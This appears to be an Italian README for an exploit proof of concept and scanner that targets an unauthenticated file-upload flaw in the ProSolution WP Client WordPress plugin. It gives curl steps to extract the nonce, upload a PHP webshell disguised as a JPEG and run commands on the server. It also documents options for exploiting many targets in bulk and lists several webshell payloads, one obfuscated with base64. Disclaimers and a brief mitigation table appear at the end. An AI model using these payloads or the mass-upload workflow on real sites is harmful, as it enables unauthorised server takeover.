
Plugin: prosolution-wp-client
Versione Affetta: <= 1.9.9
Tipo di Vulnerabilità: Upload Arbitrario di File Non Autenticato → Esecuzione di Codice Remoto
Livello di Rischio: 🔴 Critico (CVSS 9.8)
Requisito: pagina pubblica contenente lo shortcode[prosolfrontend]
L'azione AJAX proSol_fileUploadProcess del plugin ProSolution WP Client
controlla il tipo MIME dei file caricati ma non ne valida l'estensione.
Un attaccante può inviare un file con estensione .php con tipo MIME image/jpeg,
caricando così una webshell sul server senza autenticazione.
[prosolfrontend] pagina dello shortcode
│
▼
1. prosolObj.nonce → estratto dalla pagina pubblica (nessuna autenticazione richiesta)
│
▼
2. POST /wp-admin/admin-ajax.php
action=proSol_fileUploadProcess
security=<nonce>
files[]=shell.php (Content-Type: image/jpeg) ← MIME Spoofing
│
▼
3. Viene salvato come /wp-content/uploads/prosolwpclient/[random].php
│
▼
4. GET /wp-content/uploads/prosolwpclient/[random].php?cmd=id
│
▼
5. uid=33(www-data) → RCE non autenticata ✓
⚠️ Disclaimer: Questo PoC è fornito esclusivamente a scopo di ricerca educativa e di sicurezza difensiva. Utilizzalo solo su sistemi di tua proprietà o per i quali disponi di un'autorizzazione scritta esplicita.
prosolution-wp-client attivo (versione <= 1.9.9)[prosolfrontend]Visita qualsiasi pagina pubblica contenente lo shortcode [prosolfrontend] ed estrai il valore prosolObj.nonce dal codice sorgente:
TARGET="https://target.example.com"
NONCE=$(curl -s "$TARGET/jobs" \
| grep -oP '"nonce"\s*:\s*"\K[^"]+')
echo "Extracted nonce: $NONCE"
Struttura da cercare nel codice sorgente:
<script id='prosolwpclient-public-js-extra'>
var prosolObj = {
"ajaxurl": "https://target.example.com/wp-admin/admin-ajax.php",
"nonce": "a1b2c3d4e5",
...
};
</script>
echo '<?php system($_GET["cmd"]); ?>' > /tmp/shell.php
Invia il file .php con Content-Type image/jpeg:
curl -s -X POST "$TARGET/wp-admin/admin-ajax.php" \
-F "action=proSol_fileUploadProcess" \
-F "security=$NONCE" \
-F "files[]=@/tmp/shell.php;type=image/jpeg" \
| python3 -m json.tool
Risposta attesa:
{
"files": [
{
"name": "shell.php",
"size": 31,
"url": "https://target.example.com/wp-content/uploads/prosolwpclient/shell.php",
"newfilename": "a3f8b2c1d9e4f7g2.php",
"rename_status": true,
"extension": "php"
}
]
}
"extension": "php"e"rename_status": true→ il file.phpè stato salvato con successo.
SHELL_FILE="a3f8b2c1d9e4f7g2.php" # newfilename del Passaggio 3
curl -s "$TARGET/wp-content/uploads/prosolwpclient/$SHELL_FILE?cmd=id"
Output atteso:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
✅ RCE non autenticata ottenuta.
git clone https://github.com/kullanici/prosol-upload-scanner
cd prosol-upload-scanner
pip install -r requirements.txt
requirements.txt
requests
python prosol_upload.py -u http://hedef.com
python prosol_upload.py -u http://hedef.com --verify --verify-cmd "whoami"
python prosol_upload.py -l targets.txt -t 20 -o sonuclar.txt
python prosol_upload.py -u http://hedef.com --proxy http://127.0.0.1:8080
python prosol_upload.py -u http://hedef.com --shell-type full
WordPress Root/
└── wp-content/
└── uploads/
└── prosolwpclient/
└── [random_hex].php ← Shell qui
[*] 3 obiettivi | ProSolution File Upload | threads=10
[★ UPLOADED ] http://hedef1.com
Shell URL : http://hedef1.com/wp-content/uploads/prosolwpclient/a3f8b2c1d9.php
Nuovo Nome : a3f8b2c1d9.php (renamed=True)
[✓ RCE OK ] output di cmd: uid=33(www-data) gid=33(www-data)
[- BLOCKED ] http://hedef2.com ext=jpeg
[~ TIMEOUT ] http://hedef3.com
───────────────────────────────────────────────
UPLOADED : 1 █
BLOCKED : 1 █
TIMEOUT : 1 █
───────────────────────────────────────────────
Shell caricate → uploaded.txt
───────────────────────────────────────────────
.htaccess per la directory uploads/:
<FilesMatch "\.php$">
Deny from all
</FilesMatch>
Questo strumento e il PoC sono stati realizzati esclusivamente per l'uso su sistemi autorizzati, a scopo educativo e
nell'ambito di test di penetrazione.
L'uso su sistemi non autorizzati costituisce reato ai sensi degli articoli 243-245 del Codice Penale Turco
e delle leggi internazionali sui crimini informatici.
Lo sviluppatore non si assume alcuna responsabilità legale derivante dall'uso improprio dello strumento.
MIT License — Solo a scopo educativo e di ricerca.
| Parametro | Abbreviazione | Descrizione | Predefinito |
|---|
--url | -u | URL dell'obiettivo singolo | — |
--list | -l | File dell'elenco degli obiettivi | — |
--threads | -t | Numero di thread | 10 |
--output | -o | File di output | uploaded.txt |
--shell-name | — | Nome del file da caricare | shell.php |
--shell-type | — | Tipo di shell | system |
--verify | — | Test RCE post-upload | False |
--verify-cmd | — | Comando di verifica | id |
--proxy | — | URL del proxy | — |
--timeout | — | Timeout della richiesta (s) | 10 |
| Tipo | Payload | Descrizione |
|---|
system | <?php system($_GET["cmd"]); ?> | Comando di sistema di base |
passthru | <?php passthru($_GET["cmd"]); ?> | Output grezzo |
exec | <?php echo exec($_GET["cmd"]); ?> | Esecuzione silenziosa |
assert | <?php assert($_POST["cmd"]); ?> | Eval tramite POST |
b64 | <?php eval(base64_decode($_POST["cmd"])); ?> | Offuscamento Base64 |
full | shell_exec + system + exec fallback | Shell completa |
| Stato | Descrizione |
|---|
★ UPLOADED | Shell caricata con successo |
✓ RCE OK | Shell verificata, comando eseguito |
- BLOCKED | Il server ha bloccato l'estensione PHP |
~ TIMEOUT | Timeout di connessione |
~ CONN_ERR | Errore di connessione |
! HTTP_ERR | Codice di errore HTTP |
| Misura | Attuazione |
|---|
| Blocco dell'esecuzione PHP | Aggiungi un file .htaccess nella directory uploads/ |
| Aggiornamento del plugin | Aggiorna alla versione > 1.9.9 oppure rimuovi il plugin |
| Whitelist delle estensioni | Consenti solo estensioni autorizzate lato server |
| Validazione MIME | Controllo del contenuto effettivo con finfo_file() |
| Regola WAF | Blocca le richieste di upload di file .php |